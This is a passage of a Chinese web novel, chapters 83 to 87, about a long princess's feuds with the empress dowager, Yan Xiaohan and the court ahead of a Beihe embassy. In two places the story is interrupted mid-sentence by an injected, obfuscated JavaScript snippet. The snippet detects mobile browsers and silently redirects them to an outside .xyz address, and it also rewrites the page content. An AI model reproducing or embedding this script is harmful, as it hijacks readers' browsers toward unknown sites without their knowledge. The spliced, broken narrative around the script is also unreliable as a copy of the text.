即墨揉了揉鼻子,边看晏骁寒的脸色,边试探着问:“这两个人罪大恶极,事情闹大定能撕下长公主一块皮来……您要是不忍心下手……属下可以将着这证据交到太后的人手里,让他们出手揭发……” 这样慕馨宁也不会跟晏骁寒翻脸,晏骁寒也能明哲保身。 晏骁寒修长好看的大手将折子合上:“未必就是她的人,没准是太后和信武侯的人。” 即墨张了张嘴,自家主子这是刚跟长公主有了夫妻之实,就开始偏袒她了? “那就……这么算了?” 说那两个是太后或信武侯的人,他们也没有证据,难道还要搞欲加之罪那一手?或者任由那两个贪官污吏逍遥法外? 第83章 都给哀家杀了! “把人杀了,贪污的赈灾银和赈灾粮发给百姓。” 即墨应声,暗戳戳扫了一眼凌乱的床上。 昨晚主子和长公主应该挺激烈的吧,自家主子又这么包庇长公主,怎么的还让长公主气急败坏的离开了,不应该再好好温存一下吗? 难道真和姬神医之前说的一样,自家主子长时间不碰女人,那方面出了问题…… 所以,长公主真的是欲求不满,恼了自家主子? “那个,不行的话,再找姬神医瞧瞧吧?”即墨看晏骁寒的目光带着几分担忧。 晏骁寒:“瞧什么?” 即墨看向他身下,脱口而出:“就那……” 话没说完,他连忙捂住了自己的嘴,他真是吃了熊心豹子胆,自家主子不要脸的吗,自己不要命了? “没……属下这就去办……”即墨落荒而逃。 他刚出门,晏骁寒就察觉了什么,他声音冰冷:“离夜,赏他三十军棍。” 长公主府。 自打慕馨宁从晏骁寒府上回来,周身都散发着阴郁之气,尤其是晚上,她竟然不要杜若和鸦羽同眠了。 杜若抱着自己的被子和枕头一脸委屈:“主子,您这是怎么了?” 慕馨宁只没好气道:“回你自己房里,从今日开始,你安排人轮流在门外值夜。” 这两日,慕馨宁又开始做噩梦,夜里总是睡不踏实,房间里灯点的太亮,她更睡不着。 不过几天的时间,黑眼圈越来越重了,她都快成了后世所说的国宝了。 她只能找老头儿,让老头儿给她配一些安神的药。 老头一边捋着山羊胡,一边语重心长::“你这是心病,心病还得心药医,是药三分毒……” 慕馨宁有些不耐烦:“怕什么,中毒再解毒不就成了?” 姬神医:“……” “长公主,太后身边的芝嬷嬷来了!” 慕馨宁刚喝了一口汤药,管家急匆匆的过来。 慕馨宁眼里闪过什么,汤药一口闷之后,漱了漱口,才出去迎人。 芝嬷嬷见了慕馨宁,面色沉重:“长公主,太后病的严重,召您去宫中侍疾。” 慕馨宁嘴角扯了扯,所以太后是知道永平帝跟晏骁寒算计信武侯的事情了? 明知姬神医就在她的府上,太后竟然也不敢劳烦,却只让她进宫侍疾,估计是想对付她吧? 慕馨宁抬腿迈进景阳宫的时候,太后刚摔了一盏茶:“岂有此理,简直是岂有此理,边关发生那么大的事情,书信竟然才传到哀家手里,哀家和信武侯养的那些个人,都是废物吗!” “皇帝和晏骁寒都已经得逞了,哀家能怎么办,杀了!那一群废物都给哀家杀了!” 下人们齐刷刷跪了一地,大气都不敢喘,宋菀菀膝行到太后跟前,一句话也不敢说,只又拿了茶盏,重新给太后倒了一杯茶。 太后一看见宋菀菀,更加头疼,宋婉婉要是有点本事,有点脑子,也不至于让慕馨宁那个贱人给欺负到如此地步。 忽然,她脑海里灵光一现,一把捏住宋菀菀的下巴,盯着宋婉婉那张脸打量起来。 宋菀菀被吓了一跳,太后还是头一次对她如此:“母后……您怎么了?” 她小心翼翼,带着两分胆怯。 太后难看的脸色松缓几分:“莞儿,你年纪也不小了,也该嫁个好夫家了。” 宋菀菀脸色一白,她知道,太后是无论如何也不会把她嫁给晏骁寒的。 她连忙摇头:“不……母后……儿臣想一辈子留在母后身边……” 太后垂下眼帘,松开手,柔声对宋菀菀道:“好孩子,哀家也舍不得你。” 她虽然这么说,心里已经盘算宋菀菀的婚事了。 皇帝和晏骁寒还有慕馨宁,不会真以为她只有一个信武侯可以依靠吧,那可是太小瞧她了,她定要让那几个人好好开开眼! “长公主到……”外头太监尖锐的声音,打破了寝宫里面的安静。 太后被扶着重新躺在床上,下人们各司其职。 “儿臣给母后请安。” 太后侧头打量慕馨宁两眼,垂眸敛下眼里的恨意:“起来吧。” 慕馨宁走到床边,语气温和:“母后身体如何了,可找太医瞧过了?” 宋菀菀双手环胸,冷声开口:“还不是拜你所赐,要不是你冥顽不灵,处处跟母后作对,母后怎么可能被气病?” 慕馨宁转身,径自坐在一旁的椅子上,语气平淡:“那不如你告诉本宫,本宫都哪里做错了。” 宋菀菀张了张嘴,她也知道,无论自己给慕馨宁扣上什么罪名,以慕馨宁的伶牙俐齿,都会轻易找到借口,并且反咬她。 太后叹了口气:“哀家也是年纪大了,这身子骨一日不如一日,昨日梦见你们父皇,他指责哀家没有把你们教育成才,指责哀家没有让东陵国富民强,哀家这心里啊……跟堵了一块石头似的……” 说着,太后就咳嗽起来。 慕馨宁心里翻了个白眼,虚伪。 芝嬷嬷捧着一个痰盂递到慕馨宁跟前:“长公主,您请……” 慕馨宁没接,面色冷淡:“本宫无痰。” 芝嬷嬷语气不善:“您来为太后娘娘侍疾,这样的事情,怕是需要您亲力亲为了。” 慕馨宁依旧没接,杜若犹豫了一下:“奴婢来吧……” 杜若的手刚伸过来,芝嬷嬷捧着痰盂挪开了,板着脸道:“长公主,您这是要担上一个不孝的名声?” 太后不说话,看慕馨宁的眼神里,满是失望。 宋菀菀目光灼热,等着看好戏。 慕馨宁环顾周围所有下人,冷声道:“你们的胳膊腿都残废了吗,宫里养你们是做什么的?” 让她给太后捧痰盂,都不够恶心的,她的隔夜饭都能吐出来。 第84章 捧杀 芝嬷嬷脸色难看起来:“长公主,您可是太后最心疼的女儿,太后病了,你这个做女儿的不应该亲自出力,以表孝心吗?” 慕馨宁:“本宫捧了这痰盂就是有孝心了,本宫的臭名就能好起来吗?” 这个老货惯会颠倒黑白的,太后最心疼的不就是宋菀菀吗,要表孝心,那也应该是宋菀菀来,毕竟演戏作秀这种事情,宋菀菀最拿手了。 她如此臭名,可不只是她一人的功劳,没有太后,没有宋菀菀,没有信武侯府,她怎么可能臭名远扬呢。 现在,她不怕再被扣上一个不孝的臭名,也不怕太后跟她翻脸。 “罢了罢了……咳咳咳……哀家自己来……”太后老泪纵横,很是伤心的样子。 芝嬷嬷狠狠地瞪了慕馨宁一眼:“长公主可要掂量掂量,您不孝的事情要是传到文武百官耳朵里,定会有人弹劾您的!” 芝嬷嬷说完,亲自去侍奉太后了。 慕馨宁也不生气,她端起茶盏笑了笑:“本宫不孝,那也不及芝嬷嬷,想当年您家里遭灾的时候,为了抢那一口吃的,竟然打破了亲娘的脑袋,你这么一把年纪,母亲也死了几十年了吧,夜里还会梦见她吗?” 话音未落,芝嬷嬷脸色一变,手一抖,太后刚吐出来的一口痰,就落在了她的手背上。 太后抬眼看了芝嬷嬷一眼,声音低沉:“下去收拾收拾。” 芝嬷嬷应了一声,夹着尾巴走了。 宋菀菀将一切尽收眼底,芝嬷嬷真没用,活了大半辈子还对付不了慕馨宁这个贱人。 她挺了挺腰背,眼睛转了转,然后一脸正色的对慕馨宁道:“姐姐……” 慕馨宁抬手制止:“不要叫我姐姐,我跟你不是姐妹。” 这话她说了多少遍了,也不知道宋菀菀到底是脑子不好记性差,还是脸皮厚。 宋菀菀委屈的低头,片刻才继续道:“长公主,母后吃了很多汤药,身体越来越差,听别人说,若是能沐浴焚香,在佛菩萨跟前抄写楞严经,供于佛菩萨跟前,再请法师诵经祈福,母后的身体就能恢复。” 说着,她苦笑一下:“我倒是有这个心思,但毕竟我只是母后的义女,和你这个长公主自然是比不上的,不如你亲自茹素,给母后抄写佛经,或许母后的身体好的快一些。” 慕馨宁看了一眼太后,又看向宋菀菀,她没有错过宋婉婉眼里的狡猾。 “你说的也有道理……” 宋菀菀高兴起来:“那就劳烦长公主了,小佛堂已经备好了笔墨纸砚,这些天你就在母后宫里抄写楞严经吧!” 慕馨宁嘴角上扬,认真的道:“佛家讲因果轮回,所以除了诵经祈福,还需要罪业……” 太后脸色瞬间黑沉,双手狠狠地攥住了身上的被子。 宋菀菀也是脸色大变,不可置信的看着慕馨宁:“所以,你的意思,母后如今生病,是做了坏事?” 刚净了手回来的芝嬷嬷,阴暗的面色里带着狠厉:“来人啊,长公主不敬太后,以下犯上,给我掌嘴!” 杜若慌了,鸦羽冷肃着一张脸,将慕馨宁挡在了身后。 慕馨宁将鸦羽拨开,一脚就踹在了芝嬷嬷的身上,芝嬷嬷被踹的摔倒在地,腿疼的脸色惨白。 “你一个狗奴才,也配掌本宫的嘴,真是狗仗人势!” 太后终于再也忍不住心头的怒火和怨气,从床上坐起身来:“慕馨宁,你简直是放肆!” 打狗还要看主人,况且明明是慕馨宁先冒犯的她。 她知道,慕馨宁说这么一番话,是指责她手段歹毒,怀疑她害死了敏妃。 好歹她也是东陵最尊贵的女人,慕馨宁手里又没有证据,竟然还敢在她面前如此猖狂,简直是找死! 慕馨宁起身,朝着太后行礼:“母后,儿臣的话可没说完呢,就被宋菀菀和芝嬷嬷责备,天色还早,就算母后想要治罪儿臣,是不是也得等儿臣把话说完,好寻一个十足的理由?” 太后咬了咬后槽牙,敛去眼里的怒意:“好啊,那你慢慢说。” “皇上驾到……” 不等慕馨宁开口,永平帝来了,她笑了笑,这下也不用她再浪费口舌了。 芝嬷嬷连忙上前,将太后床上的纱幔放了下来。 永平帝并没有进入寝殿,而是在外殿问安。 太后咳嗽两声,开口问:“皇帝政务繁忙,怎么来了哀家这里?” 她语气平和,可是脸上却都是怨愤。 要不是永平帝和晏骁寒的算计,信武侯也不会被骗的带兵离京,如今他和那八万大军能否顺利返回,还未可知。 她养了半辈子的鹰,如今却被鹰啄了眼,真是笑话! “听说母后病了,儿臣特意来看看母后,顺便跟母后说一个好消息,让母后宽心。” 太后拿起枕边的玉如意,用力握紧。 那所谓的好消息,只是对永平帝而言,对她却未必是什么好事吧。 她语气轻缓几分:“什么好消息?” “北赫国递来国书,要和东陵议和,除了要增加生意上的往来,还准备和我东陵联姻。” 慕馨宁笑的灿烂,出了内殿看向永平帝:“那可太好了皇兄,不知北赫所谓的联姻,是将公主嫁来东陵,还是其他?” 永平帝:“这还有待商议,若是我东陵的公主嫁与北赫皇室,也使得。” 宋菀菀心头一紧,永平帝的两位公主尚未成年,慕馨宁臭名昭著,又与晏骁寒有了婚约,如果东陵公主要嫁到北赫,首选不就是她这个义女了? 慕馨宁注意着宋菀菀的脸色,见她紧张,嘴角的笑意不由得加深。 太后:“不知东陵使臣何时入我皇城?” 永平帝:“大概还有十日左右,儿臣还想和母后商议,这接待北赫使臣的皇族代表,应该选谁?” 宋菀菀有些激动,若是和北赫皇族能交好,对她而言,应该是有益无害的,她也一定会想方设法,让慕馨宁加入北赫,伺候北赫那个糟老头子。 “皇兄……” 宋菀菀刚开口,太后便打断:“这件事事关重大,关乎我东陵颜面,哀家觉得,宁儿倒是个不错的人选。” 慕馨宁看了太后一眼,想要骂人,她臭名昭著,要是让她接待北赫使臣,还不知道被如何羞辱呢。 永平帝有些为难:“母后你也知道,长公主她……” 他想说慕馨宁名声不好,又不好出口。 太后却言之凿凿:“那北赫表面是来议和,暗地里还不知打什么主意,对付那种狡诈之人,就得另辟蹊径,哀家觉得宁儿合适的很。” 慕馨宁眉头微挑,她知道太后这招叫捧杀。 她一个一无是处臭名昭著的公主,能做什么,北赫使臣知道是她出面招待,只觉得羞辱,定会处处为难她,若是她一个出错,再挑起两国纷争,到时候定会吃不了兜着走。 “……多谢母后看中,不过……”慕馨宁故作为难。 太后笑了笑:“宁儿,这可是个崭露头角的好机会,你毕竟是皇家长公主,况且先皇那般爱重你,不为别的,就当是为先皇争光了。” 宋菀菀差点笑出来,就慕馨宁这德行,还给先帝争光,没准儿到时候先帝气的都要从陵墓钻出来勒死慕馨宁了。 她也等着看慕馨宁的好戏! 第85章 心中不忿 “那就这么定了吧。”永平帝一锤定音。 他知道太后的算计,却也愿意顺水推舟,除了想看看慕馨宁的能力,其实也想给北赫一个下马威,大不了让晏骁寒收拾这个烂摊子就好了。 一想起晏骁寒,永平帝看了对面的慕馨宁一眼,心里刺痛。 听说晏骁寒被人算计,却被慕馨宁给趁虚而入,他那品行高洁清冷孤傲的爱卿,终究还是被这个好妹妹给染指了,好难过。 “朕安排礼部的人协助长公主接待北赫使臣,长公主这些日子好好准备,至于这接风宴……” 永平帝又犯了愁,自打他登基,好些年都没有外使来东陵,他确实想以最高规格招待北赫,但也未必另北赫满意。 “既然让宁儿接待北赫使臣,那这接风宴和送行宴当然都要她亲力亲为,皇帝你多安排一些人手协助宁儿就好了。”太后道。 永平帝点头:“那就劳烦长公主了,这件事若是办的好,朕给你重赏。” 慕馨宁心里好笑,永平帝能给他什么重赏,多了他心疼,少了自己也看不上。 不过也没关系,正巧她觉得无聊。 慕馨宁接了这个差事,也不用再给太后侍疾,更不用去抄写经书。 “皇兄,这件事臣妹定会尽力而为,不过,臣妹想要的人手想要亲自挑,还请皇兄能够同意。” 永平帝眸色微闪,慕馨宁这是什么意思,觉得他挑的人不中用,还是想要趁机拉拢人心? “只要不过分,不影响朝纲,朕允了。”他倒是要看看,慕馨宁能有多大的本事。 慕馨宁向太后告辞:“母后好好养病,儿臣还有一些细节要跟皇兄商讨。” 太后咳嗽一声,病恹恹的道:“去吧,哀家老了不中用了,以后这东陵还是要靠你们这些个年轻人了……” 宋菀菀不甘心,刚刚慕馨宁以下犯上,说太后罪业深重的这笔账还没算,慕馨宁怎么能就这么走了? 她又转念一想,这次暂且放过慕馨宁,等她在北赫使臣面前出丑犯了大错,新账旧账一起算也好。 永平帝也起身告辞,两个人一同出了景阳宫。 御书房,慕馨宁将写好的名单递给永平帝,别的倒是没什么,只是唯独一人。 “莲才人?” 永平帝都快忘了这位莲才人是谁了,许久之后才有了印象。 这位莲才人本来已经爬到了昭仪的位置,当初进冷宫,还是因为勾引晏骁寒。 永平帝当初亲眼所见的,就是莲昭仪衣衫不整的抱着晏骁寒求欢的情形。 知情人都以为晏骁寒定也会受到牵连,没想到还是莲昭仪清醒之后将所有的责任都揽在了自己身上,永平帝又“深明大义”,只让晏骁寒闭门思过一月,却把莲昭仪降为才人打入冷宫了。。 但是这件事,到底是永平帝颜面无光。 慕馨宁:“她和皇兄、晏骁寒的恩怨臣妹不管,北赫国的接风宴和送行宴宫里总要有人打理,别人能力不佳,据臣妹所知,这位莲才人以前可是内廷女官,多多少少还有些本事的,劳烦皇兄把人从冷宫放出来,委以重任。” 永平帝皱眉,慕馨宁一个公主,哪来的胆子做主他后宫的事情,是不是这两日他给了慕馨宁好脸色,又对她委以重任,慕馨宁便忘了规矩? 永平帝有些头疼:“你还不知道吧,去年她就已经疯了。” 至于现在是不是还活着,还未可知。 “臣妹到时候请姬神医给她开两副药就好了。” 慕馨宁知道,莲才人只是装疯卖傻以求保命而已,毕竟当初算计她勾引晏骁寒的幕后黑手,是冲着要她的命去的。 慕馨宁见永平帝为难,试探着开口:“要不,臣妹去找……” “好了,朕知道了。”永平帝吸了口气,强忍着跟慕馨宁翻脸冲动。 他现在对慕馨宁很不满,自己的女人对他的爱卿投怀送抱,他差点被戴了绿帽子,如今还得找晏骁寒商讨如何给红杏出墙的莲才人升品级,简直是窝囊。 若是接待北赫的事情慕馨宁办不好,他定要新账旧账一起算! 慕馨宁刚走,永平帝就召见了晏骁寒。 永平帝负手,边打量晏骁寒边围着他转圈,脸色很是复杂。 不等晏骁寒询问,永平帝就开口:“据朕所知,晏卿你文采斐然光风霁月,心仪你的女子如过江之鲫……” 晏骁寒面色如常:“皇上想说什么?” 永平帝摸了摸下巴上的胡茬:“你如此这般优秀,又是当朝首辅,又和长公主有了夫妻之实……” 她怎么会让朕晋升一个对你投怀送抱的女人位分? 你如此优秀,还没得到长公主的芳心吗? 但是这话,永平帝说不出口,但是心中不忿。 现在永平帝很矛盾,慕馨宁对晏骁寒冷漠无情他心里不好受,要是晏骁寒反过来对慕馨宁有情有义,那他心里更不好受了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623116|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏骁寒直入主题:“长公主想让莲才人协理宫宴的事情臣已经知晓,莲才人确实有些本事。” 当初他也知道,莲才人那般对他是被人算计的,否则莲才人的坟头草都得长到一人多高了。 而且,当初那幕后之人是想一箭双雕,也要了他的命。 没想到两年过去了,他和莲才人都还活着,他也不是当初那个任人算计的从五品小官了。 晏骁寒虽然对莲才人没什么怨恨,但是心里也有些不痛快,永平帝的言外之意他也明白。 他忽然也觉得自己从未有过的失败,他和慕馨宁发生了那么多,经历了那么多,如今不但不能掌控她,好似这女人对他越来越无情了。 永平帝有些发愁:“想要将莲才人从冷宫放出来,再晋品级,不大容易,文武百官和众妃嫔那边都不好交代,你看如何是好?” 晏骁寒思虑片刻,道:“也不必让她恢复位分,不如让她换个身份,做宫令女官,听您吩咐。” 毕竟,宫中有两个容貌相似的女人,很是寻常。 永平帝很满意晏骁寒这个提议,让莲才人换个身份,他也不用碍于莲才人和晏骁寒的事情让自己颜面无光了。 宫令女官别看只是在宫里任职,但是责任重大,且官居一品,只要是入了宫的女子,不是想爬龙床,那就是想当女官了。 慕馨宁回府后,得知这件事的时候,有些震惊,没想到晏骁寒竟然能想到如此两全其美的法子。 但是,迫于太后和皇后以及文武百官的压力,这晋升宫令女官的事情还是要走个流程。 所以,这次宫令女官的擢选,慕馨宁是要参加的,她要根据众人的表现,来挑选打理宫宴之人。 “主子,皇后娘娘那里来人了。” 次日一早,慕馨宁用了饭,便准备入宫,杜若带着人进来。 皇后身边的掌事嬷嬷笑着朝慕馨宁行礼:“长公主,近日天气渐渐热了,正巧皇后娘娘新得了几匹上好的软烟罗,又搭配了一些首饰,特意让老奴送过来,给长公主裁制几身新衣。” “多谢皇后娘娘,告诉她本宫有空定去拜见。” 话落,杜若塞给那嬷嬷一个鼓鼓囊囊的荷包,嬷嬷笑着接过告辞,一转身,脸上笑意全无。 杜若还纳闷:“这不年不节,也没个由头,皇后娘娘怎么给您送料子来?” 她边说,边整理,很快发现了问题。 杜若变了脸色:“这……” 第86章 抽风 这软烟罗质地确实上乘,且颜色也好,可是却尺寸不够,以慕馨宁的身材来说,这每匹料子根本不够做一件成衣,做小孩子衣裳倒是可以。 慕馨宁见此,冷笑一声:“她哪是来给我送东西,是在警告我多管闲事,抢了她的风头。” 北赫使臣来东陵的宫宴,按理来说应该由皇后亲自安排,可是慕馨宁不但独揽大权,竟然还要越过皇后,擢选女官。 原本的宫令女官可是皇后的心腹,虽然这次擢选,永平帝并没有降其职位,但是皇后脸上依旧难看,她不好过,自然也不会让慕馨宁好过了。 杜若顿时有些担忧:“主子,那皇后到时候定会为难您的吧,这可怎么办?” 慕馨宁:“怕什么,兵来将挡,水来土掩。” 慕馨宁穿戴整齐,刚要出门,管家来禀报:“长公主,您之前送给首辅大人那几个美人要见您。” 慕馨宁蹙眉:“找本宫做什么?” 上次橙蕊给晏骁寒下**那件事,晏骁寒把人如何处置的,慕馨宁一直没有过问,以晏骁寒的脾气,橙蕊估计没有什么好下场。 她也有些好奇,于是让管家请了几个人进门。 没想到只来了三个,并未见橙蕊的影子。 三个人见了慕馨宁,一脸悲戚的样子,仿佛是受了什么天大的打击。 “长公主……您救救奴婢吧……” “长公主,您一定要给我们做主啊……” 这三个人一个个的都跪在地上,或抱着慕馨宁的腿或扯着她的袖子痛哭流涕。 慕馨宁眉头皱的更紧了,说实在的,她跟这三个人也不怎么熟。 这三个,当初还是刘营挑选的,没多久她就把人送给晏骁寒了。 她们临走前她还每人给了一百两银子,这样的待遇是别人做梦都得不来的,慕馨宁觉得不欠她们什么。 如今,就算她们受了天大的苦,慕馨宁也无动于衷。 “说说吧。”她随手拿了一个果子咬了一口,果子有些酸,慕馨宁整张脸都要皱在一起了。 青黛擦了擦眼泪,委屈巴巴的开口:“自打我们去了首辅大人那里,整日连人都见不到,更别提近身服侍了……” 话没说完,慕馨宁抬手制止:“爬床的事情,本宫无能为力,你们回去吧。” 她还没把人睡了,怎么帮别人,可笑。 蓝秀脸上带泪,连忙摇头:“长公主,我们不是想近身服侍首辅大人,我们就想着安安分分混吃等死就行了。” 原本她们都是痴心妄想,都想做晏骁寒的女人,想着一步登天。 自打橙蕊给晏骁寒下药,被当众抽了五十鞭子被丢到青楼之后,给她们一百个胆子她们也不敢惦记晏骁寒了。 杜若一旁急的直转圈,没好气的道:“那你们说说,到底要干什么,我们主子还要入宫,耽误了时辰,你们担得起吗?” 白栀连忙道:“殿下,首辅大人要将我们逐到庄子上开荒、养猪养鸡,我们从小也没做过这种粗活,这不是要我们的命嘛!” 青黛抱着慕馨宁的腿哭的更悲伤了:“长公主,您要是不救救我们,那我们只有死路一条,干脆一根绳子吊死算了……” 慕馨宁有些头疼,看着一个个娇俏的脸蛋儿,确实也觉得让她们去开荒养猪可惜了,晏骁寒是真的不懂怜香惜玉。 于是就问:“那你们想怎么样?” 蓝秀后退一步,重重的朝着慕馨宁磕了一个头:“奴婢生是殿下的人,死是殿下的鬼,奴婢想一辈子都跟着殿下,要是殿下一定要让奴婢去庄子上做粗活……奴婢绝无二话……” 她咬唇,一副视死如归的样子。 白栀和青黛都一脸诧异的看向蓝秀: 不是姐们儿,咱们不是商量好的,一起求殿下救我们逃离开荒养猪的命运,你怎么还搞这么一套? 慕馨宁见此,差点笑出声来,她喝了口茶,然后道:“正巧府上也缺人,既然你们愿意回来,那就回来吧。” 三个人顿时破涕为笑,蓝秀不由得松了口气,其实她刚刚那么说,只是想置之死地而后生,倒是赌对了。 杜若有些不安:“主子,那可要跟首辅大人商量一下?” 这随随便便把人送过去,又随随便便把人要回来,是不是不大妥当。 慕馨宁对管家道:“挑两件赔礼送到晏骁寒府上,就说既然他缺人开荒养猪,不如挑几个有力气的庄户人,这三个柔柔弱弱也做不了粗活,磕了碰了还得给他添麻烦,所以本宫暂且把人讨回来了。” 她也不管晏骁寒高兴不高兴,反正面子功夫她也做足了。 杜若差点给慕馨宁竖一个大拇指,自家主子这话说的真是绝了,一副替晏骁寒考虑的样子,晏首辅是不是还得感谢她? 慕馨宁把三个人打发下去,三个人刚要退下,她又想起什么:“那,皇上送给他那四个美人儿,可还在府上伺候?” 白栀开口道:“说是要与奴婢们一起送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623117|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄子上,奴婢们离开的时候,那四个正在报抱团痛哭呢。” 慕馨宁嘴角抽了抽,晏骁寒这是抽的哪门子疯? 那可是永平帝的人,晏骁寒这是打算连永平帝的面子都不给了? 说曹操曹操到,慕馨宁刚出门,就看见了由远而近的晏骁寒。 他一身紫色朝服身骑骏马,端的是俊美无俦风度翩翩,似乎刚下朝回来。 慕馨宁脸色不大好,转头问杜若:“他上朝下朝,就公主府这一条路可以走吗?” 杜若嘴角抽了抽,别人想见晏骁寒一面都见不到,自家主子时不时就能遇见,这是别人求之不得的。 又想起,之前晏首辅可是见了自家主子的身子,两个人又有了婚约,晏首辅就应该主动向皇上求娶自家主子才是。 一想到晏首辅对自家主子冷淡的态度,杜若心里也开始窝火起来。 “奴婢不太清楚,可能这条路宽敞,安全。”杜若气哄哄的道。 杜若还不知道前些日子晏骁寒中药占慕馨宁便宜的那件事,要是知道了,估计得气的吐血。 慕馨宁冷哼一声,径自上了马车。 即墨本来还想厚着脸皮跟慕馨宁打声招呼,没准儿慕馨宁心情好了,还能请自家主子上门做客,吃点好的。 那个蒜蓉生蚝,他现在做梦都想。 可一看见慕馨宁那脸色,也只能闭了嘴。 即墨打马跟上晏骁寒,犹豫了一下开口道:“主子,长公主对您似乎不满。” 其实他想说的不是这句话,就是好奇自家主子对慕馨宁的态度。 以前慕馨宁名声最臭跟自家主子关系最差的时候,自家主子都能对她和颜悦色,怎的跟长公主有了夫妻之实之后,又闹得这么僵了。 莫不是自家大人冷漠无情,把人那什么了,又弃如敝履了? 晏骁寒冷冷的看了即墨一眼,即墨当即后悔自己多嘴。 看着远去的马车,晏骁寒忽然想起那晚的情形,不由得喉结滚动。 如今他也意识到自己的不妥,可是应该怎么跟她解释呢? 不等即墨躲到一边装鹌鹑,一个精致的镂空匣子朝着他丢了过来。 即墨一脸疑惑的接过,晏骁寒朝着某处抬了抬下巴,便打马离开。 即墨看了看晏骁寒的背影,再看看手里的匣子,再看看远去的慕馨宁,一脸复杂。 眼看着慕馨宁的马车越走越远,即墨只能打马去追:“长公主……” 第87章 挑拨 “主子,即墨追上来了。”杜若掀开窗帘,看见即墨之后,脱口而出。 “别理他。” 一想起晏骁寒对她做的那件事,慕馨宁就想杀了晏骁寒,可是如今能力有限,还没到鱼死网破的时候。 马车再快,也快不过即墨的马,很快即墨就追了上来,他掀开车帘,将手里的匣子递到了慕馨宁跟前。 “长公主,我们主子给你的。” 慕馨宁没伸手,冷着脸问:“做什么?” 即墨张了张嘴,又挠了挠鼻子,好一会才组织好语言:“定是我家主子对你有意……” 这话,就算别人能信,慕馨宁也不信,没准那厮又要羞辱她。 正在慕馨宁要拒绝的时候,杜若动作粗鲁直接抢了过去,也没给即墨好脸。 自打上次即墨差点杀了慕馨宁,杜若就处处看他不顺眼。 她是打心眼里替自家主子委屈,堂堂长公主,竟然差点被一个小小侍卫要了性命,简直是天理难容,就该灭了即墨的九族! 但是她心里明白,那件事上,虽然是个误会,但是晏骁寒差点丢了性命。 慕馨宁对晏骁寒有愧的,即墨对慕馨宁动手,也是为了维护晏骁寒,但是这口气杜若还是咽不下。 虽然杜若讨厌即墨,但是东西还得该收就收,毕竟首辅大人能拿得出手的东西,定是价值连城的。 对上杜若不善的眼神,即墨有些尴尬,没再说什么,打马就走。 杜若眨了眨眼睛,将手里的匣子递到慕馨宁跟前:“主子,要不您瞧瞧?” 没准儿晏首辅真的对自家主子有意,只是不知怎么表达呢。 慕馨宁不为所动,随手抽了一话本子翻看起来,杜若试探着道:“那……奴婢瞧瞧……” 杜若原本一脸期待,当她小心翼翼打开匣子,看见里头的东西顿时傻眼了:“这……” 精美的镂空匣子内,安静的躺着两节树枝。 没错,就是树枝,而且是表皮粗糙,颜色灰暗的那种。 慕馨宁刚要缓和的脸色瞬间难看。 什么意思,说她是残枝败柳吗? 她抓过那匣子,直接丢到了马车外头。 杜若也是气的不行,头扭到一边呼哧呼哧喘粗气,半天不知道该说什么好。 许久,慕馨宁执笔,写了一张折子,然后递给鸦羽:“让刘营想办法,把这个折子递到太后心腹手里。” 鸦羽应声,打马去寻人。 慕馨宁到琼华殿的时候,所有参选宫女已经到场,她们看见慕馨宁,连忙规规矩矩的行礼问安。 “起来吧。” 慕馨宁的脚步停在莲才人,哦不,现在她叫青茀,是皇上身边的大宫女。 从宫女升至女官,又到昭仪,又降到才人,再到如今的宫女,这青茀的人生经历可真是丰富多彩,她这个长公主都有些钦佩了。 “奴婢见过长公主,长公主万福金安!”青茀不等起身,看见慕馨宁的衣摆之后,又重新磕了个头。 在冷宫的这两年,她肠子都悔青了,为什么头脑一热跟狗皇帝睡在一起了,被那些个嫔妃们算计作践,还不如做女官舒坦。 如今慕馨宁给了她一个重来的机会,她心里对慕馨宁是千恩万谢的。 慕馨宁淡淡应了一声:“好好表现,让所有人都看看你的本事。” 慕馨宁刚落座,皇后和永平帝就来了,后头还跟了两个嫔妃,还有一个宋菀菀。 宋菀菀一看见慕馨宁,就狠狠地剜了她一眼,慕馨宁会拉拢人心,她也会,今日且看谁能笑到最后。 今日女官所考的,是十一艺。 礼,乐,射,御,书,数,琴,棋,书、画、厨,这十一样,最出色者,为宫令女官,其余依次任职。 永平帝只坐了一会就走了,一个女官擢选而已,他一个帝王不会浪费整日的时间在这上头。 青茀看着永平帝渐行渐远的身影,唇角被自己咬掉了一块肉,腥甜的味道她硬生生吞了下去,。 皇后、宋菀菀和其他几个妃嫔,倒是一直没有离席。 期间皇后扫了青茀好几眼,别人不知道青茀的真实身份,但是她却知道的。 可是,就算她再厌恶青茀,也不能公然和皇上作对,不过,她迟早会杀了这个女人的。 趁着空闲,宋菀菀又开始找慕馨宁的麻烦:“长公主,听说前些日子信武侯府失火,安世子差点遇险,您就没有什么话想要和皇后娘娘解释?” 慕馨宁这才想起霍承安来。 那日情况危急,她只顾着自己脱身,虽然霍承安是出于好心相救,但是谁又能保证霍承安是真心的? 再说,霍承安可是崔惜颜的未婚夫,侯府都恨不得把他供起来了,定也不会害他,慕馨宁就是想到了这一点,才把他忽略的。 如今宋菀菀旧事重提,这不就是挑拨她跟皇后的关系? 看着皇后阴沉下来的脸色,慕馨宁知道,宋菀菀得偿所愿了。 况且,因为擢选女官操持北赫接风宴这一事,皇后已对她有了芥蒂。 那几个嫔妃你看看我我看看你,也想替皇后出口恶气,但是她们知道,慕馨宁不是善茬。 